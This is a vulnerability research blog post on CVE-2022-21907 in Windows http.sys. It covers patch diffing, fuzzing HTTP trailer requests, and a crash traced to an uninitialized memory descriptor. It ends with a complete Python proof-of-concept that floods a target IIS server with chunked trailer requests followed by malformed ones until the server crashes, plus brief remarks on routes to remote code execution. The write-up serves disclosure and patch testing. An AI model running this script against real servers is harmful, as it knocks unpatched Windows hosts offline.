Proof of Concept: CVE-2022-21907 HTTP Protocol Stack Remote Code Execution Vulnerability
In this blogpost, we’ll briefly describe how we developed a DoS module for CVE-2022-21907. Instead of viewing it in a result-oriented way, we’ll approach it from a research standpoint, describing the process of developing this module for Core Impact.
On Jan 11th 2022 Microsoft released a Security Update for a RCE vulnerability (CVE-2022-21907) in http.sys. According to Microsoft, this vulnerability affects the following Windows Versions:
- Windows 10 Version 1809 for 32-bit Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 21H1 for 32-bit Systems
- Windows 10 Version 21H1 for x64-based System
- Windows 10 Version 21H1 for ARM64-based Systems
- Windows 10 Version 20H2 for 32-bit Systems
- Windows 10 Version 20H2 for x64-based Systems
- Windows 10 Version 20H2 for ARM64-based Systems
- Windows 10 Version 21H2 for 32-bit Systems
- Windows 10 Version 21H2 for x64-based Systems
- Windows 10 Version 21H2 for ARM64-based Systems
- Windows 11 for x64-based Systems
- Windows 11 for ARM64-based Systems
- Windows Server 2019
- Windows Server 2022
This is a long list! What’s more, they say that its exploitation is likely, as “an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.”
All the software that uses the non-patched http.sys to handle HTTP protocol is vulnerable. An example of software that uses the driver http.sys as its backend is Internet Information Services (IIS). This means that if the Windows where the IIS server is running was not patched, the target is vulnerable.
Because we like numbers and graphs, let’s do a quick Shodan query:
The results show many possible targets!
Given its impact, we decided to spend some time analyzing this vulnerability.
The Vulnerability
The first thing to do was to understand the nature of the vulnerability and collect all the public information about this CVE.
From the Microsoft website, we can infer that this vulnerability is related to HTTP Trailers:
After finding that this vulnerability is related to HTTP Trailers and before doing a diff between the vulnerable http.sys and the patched one, we started to read all the things related to trailers from the HTTP RFC. While doing this, a few Proof of Concepts (PoCs) for this CVE appeared on Twitter and Github.
All of these PoCs were doing the same thing in order to crash the vulnerable machine:
As can be seen above, it only requires a simple GET request with a special Accept-Encoding.
This was a bit weird. Not only was it incredibly similar to CVE-2021-31166, they were also not using trailers.
Anyway, we then decided to try one of the PoCs. A Windows 10 20H2 was installed without patches and then the IIS server was configured. After that, I used one of the PoCs and the target crashed.
Weird…but awesome!
Analysis of the the crash with Windbg showed it was identical to CVE-2021-31166.
It just didn’t make sense.
We decided to patch the whole system to one month before January 11th 2022(KB5008212) and try the exploit again.
And guess what? It didn’t work. Now everything made sense. It didn’t have anything related to Trailers because it wasn’t similar to CVE-2021-31166, it WAS CVE-2021-31166.
After all of these things, we started to wonder why there multiple PoCs with a large number of stars and forks that people kept retweeting. Moreover, even the MITRE website referenced this PoC.
Honestly, for a moment, we thought we were missing something. It turns out, we were right—it was CVE-2021-31166. So we continued with the following step, which is the diffing between the vulnerable http.sys and the patched http.sys.
Diffing
We took a snapshot, moved the vulnerable http.sys to another machine, and then patched the machine. After that, we moved the patched http.sys as well and reverted the snapshot.
The vulnerable http.sys version was 10.0.19041.1387 and the patched one was 10.0.19041.1466. As was mentioned earlier, we installed all the patches to one month before (December 2021) the patch of the vulnerability. This is a normal practice, since doing a diff between close versions avoids a lot of code not related to the vulnerability.
After doing the diff between these two versions, we got the following result:
As we can see, the two functions that were most changed were “UlpAllocateFastTracker” and “UlFastSendHttpResponse”. Paying attention to the names of both functions, we made a few observations. With “UlpAllocateFastTracker,” a custom allocator changed, which seemed promising. The differences from the patched “UlpAllocateFastTracker” and the vulnerable one were interesting. The patched one added two memsets in order to initialize with zero. Maybe this was an uninitialized chunk problem?
Therefore, these two memsets hinted that a problem with an uninitialized chunk allocated with this function might be present in the vulnerable version. Perhaps it was used as part of the CVE or maybe they realized it when they were patching the vulnerability. We could only try to guess.
Before moving to the other function, “UlFastSendHttpResponse,” we thought that it was better to search if both functions are related. That is, does UlFastSendHttpResponse call UlpAllocateFastTracker? The results were as follows:
Vulnerable Version
Patched Version
This was interesting too! They were related and there was one additional call to UlpAllocateFastTracker in the patched version.
This was a good sign. We decided to analyze UlFastSendHttpResponse. We won’t get into the details here because it’s really large, around 3k lines. In addition, we didn’t reverse it completely because we decided to switch to a dynamic approach after initial analysis showed it would take a significant amount of time to understand the whole process. Instead, we tried a dynamic approach first. To provide a high level explanation, when you do a request to the server, it uses this function to send you the response.
Trying to create a PoC
This was easy to test, we put a hardware breakpoint in the beginning of UlFastSendHttpResponse and did a basic request.
Perfect!
From this point, the first goal was trying to reach a call to UlpAllocateFastTracker. We did many requests in order to check if any of these requests allowed us to reach it. After doing these for a while, we figured out that UlpAllocateFastTracker was sometimes being called. We put a breakpoint after the call and analyzed the things that FastTracker had. Inside this chunk were many pointers and one of them had the response. Thanks to the reversing of UlpAllocateFastTracker that was done earlier, we knew that some of these pointers were pointers to MDLs.
After this, we decided to do code coverage of the driver.
The code reached was almost always the same.
Then we decided to use the information that Microsoft provided. They told us that it is related to Trailers. We continued reading about Trailers in the HTTP RFC and started experimenting with Trailer requests.
A trailer request looks like this:
GET / HTTP/1.1 Host: host TE: trailers Transfer-Encoding: chunked 7\r\n polakow\r\n 0\r\n Trailer \r\n
With that knowledge, we added that to my fuzzer and ran it again. The code flow changed and we were hitting UlpAllocateFastTracker but nothing weird was happening. We did a lot of debugging and still nothing. We were completely lost. It was time to spend time reversing the functions involved and get more knowledge.
While doing that, on January 26th, something new about this vulnerability was published by CoreLight:
Apparently, they had access to an RCE exploit or maybe just access to information about the exploit. It proved quite helpful, explaining two key pieces of information:
1. “The exploit works by spraying an IIS server via several large GET HTTP requests and finishes with a malformed HTTP request.”
2. “The malformed HTTP request in this exploit is missing the ‘HTTP/1.1’.”
Point number one means that for Trailers requests, we can send large GET HTTP requests. We can just change our values to big numbers and payloads. We were using low numbers before, so we expected this to make a big difference!
For instance:
GET / HTTP/1.1 Host: host TE: trailers Transfer-Encoding: chunked [Big number]\r\n [data]\r\n 0\r\n Trailer \r\n
Great!
Point two was the true magic. We did not use any malformed http requests. Moreover, it tells us about the error ‘Missing HTTP/1.1’. This was a BIG HINT.
So, it was time to change our fuzzer logic and try again!
After fuzzing for a while, we got a crash:
Awesome!
The crash
After analyzing the crash, we confirmed that the problem was the lack of initialization, which is what we hypothesized after doing the diff.
Let’s go into what was going on with the crash.
Here’s some of the stack trace:
It seemed that the problem started inside MmUnmapLockedPages.
Let’s look at HTTP!UlFastSendHttpResponse+0x2e872 in order to understand the context:
We could infer that v17 is the FastTracker chunk allocated with UlpAllocateFastTracker because of UlpFreeFastTracker. So, our PoC entered to that if(v17[5].Next) and then called MmUnmapLockedPages.
We changed the code a bit to have better semantics:
This is better.
So FastTracker + 0x50 must be different to 0 in order to enter the block where MmUnmapLockedPages resides. However, there is another piece before that. What’s that v119?
Well, we could see that it was something inside FastTracker (FastTracker + 0x80) and that IDA parsed it as PMDL in MmUnmapLockedPages. It seemed to be a pointer to an MDL (Memory Descriptor List).
Microsoft provides a good explanation of MmUnmapLockedPages:
Excellent!
We then modified our pseudo-code again:
Awesome!
Just changing the data type IDA identified that it was doing mdl->MdlFlags & 1.
Consequently, we had two conditions to reach MmUnmapLockedPages:
- FastTracker + 0x50 != 0
- MDL->MdlFlags & 1 != 0
With MDL = FastTracker + 0x80 and FastTracker the result of UlpAllocateFastTracker
Our PoC reached MmUnmapLockedPages, so we then checked the values:
We found that we were controlling MDL->MappedSystemVa! (0x4141414141414141)
Obviously, this would generate bad behavior. Additionally, we could see the pointer of the MDL (rdx).
Next, we parsed it:
Well, this was bad.
We’ll stop here with our crash analysis. If you continued analyzing it, you would find that it was a problem with an initialization of an MDL. The key is inside UlInitializeFastTrackerPool.
PoC
After figuring out what was happening, we developed the module for Core Impact.
Because we released it a long time ago and because the patch is from January, we will release a python script for testing your systems. Then, if you want to check if your systems are vulnerable, the PoC is available below and on github.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Exploit developed by the polakow from the past (@ltdominikow) # This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit. # As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems. from colorama import Fore, Style, init import argparse import socket import ssl import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning def banner(): print(f"""\n\n{Fore.GREEN} ****** ** ** ******** **** **** **** **** **** ** **** **** ****** **////**/** /**/**///// */// * *///** */// * */// * */// * *** */// * *///**//////* ** // /** /**/** / /*/* */*/ /*/ /* / /*//** /* /*/* */* /* /** //** ** /******* ***** *** /* * /* *** *** ***** *** /** / **** /* * /* * /** //** ** /**//// ///// *// /** /* *// *// ///// *// /** ///* /** /* * //** ** //**** /** * /* /* * * * /** * /* /* * //****** //** /******** /******/ **** /******/****** /****** **** * / **** * ////// // //////// ////// //// ////// ////// ////// //// / //// / """) print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}") print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n") print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907{Style.RESET_ALL}\n") def parseArgs(): parser = argparse.ArgumentParser(description="Description message") parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance: 192.168.1.110") parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For instance: 80") parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6") return parser.parse_args() def isServiceRunning(ip, port, ipVersion): if port == 443: targetURL = "https://" else: targetURL = "http://" if ipVersion == 6: targetURL = targetURL + '[' + ip + ']' else: targetURL = targetURL + ip try: requests.get(targetURL, timeout=4, verify=False) except Exception as e: return False return True def checkServerStatus(ip, port, ipVersion): if isServiceRunning(ip, port, ipVersion): print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!') else: print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!') def exploit(ip, port, ipVersion): print("[*] Attacking: %s on port %d" % (ip, port)) # Evil request data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" if ipVersion == 6: payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n" payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n" else: payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n" payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n" # Attack! for i in range(0, 100000): try: # IPv6 if ipVersion == 6: s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) else: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Attack HTTPS or HTTP if port == 443: context = ssl._create_unverified_context() so = context.wrap_socket(s, server_hostname=ip) so.connect((ip, port)) so.sendall(payload.encode('ascii')) if i % 10000 == 0: print("[*] Sending evil payload...") so.sendall(payload2.encode('ascii')) else: s.connect((ip, port)) s.sendall(payload.encode('ascii')) if i % 10000 == 0: print("[*] Sending evil payload...") s.sendall(payload2.encode('ascii')) except socket.timeout: print("[*] Timeout! Checking server status...") checkServerStatus(ip, port, ipVersion) break except Exception as e: print(e) break if __name__ == '__main__': init(convert=True) # Banner banner() # Args args = parseArgs() port = args.port ipVersion = args.ipversion # Check digits if not port.isdigit() and not ipVersion.isdigit(): print("The port must be a number!") exit(1) # Remove protocol if args.target.startswith('https://'): ip = args.target.replace("https://", "") elif args.target.startswith('http://'): ip = args.target.replace("http://", "") else: ip = args.target # Remove backslash if ip.endswith("/"): ip = ip.replace("/", "") # Remove ipv6 http/https if ip.endswith("]") and ip.startswith("["): ip = ip.replace("[", "").replace("]", "") # Check ip version if not int(ipVersion) == 6 and not int(ipVersion) == 4: print("The IP version is invalid.") exit(1) # Check server status requests.packages.urllib3.disable_warnings(InsecureRequestWarning) checkServerStatus(ip, int(port), int(ipVersion)) # Exploit! exploit(ip, int(port), int(ipVersion))
RCE/LPE
Regarding RCE, it is possible, hard and unstable, but possible. We are still researching a way to do something reliable. In addition to that, it is necessary to mix this vuln with an infoleak.
Another idea that’s easier than a RCE is to try g to create a LPE. We can leak the offsets of our chunks using known techniques and manage the pool better.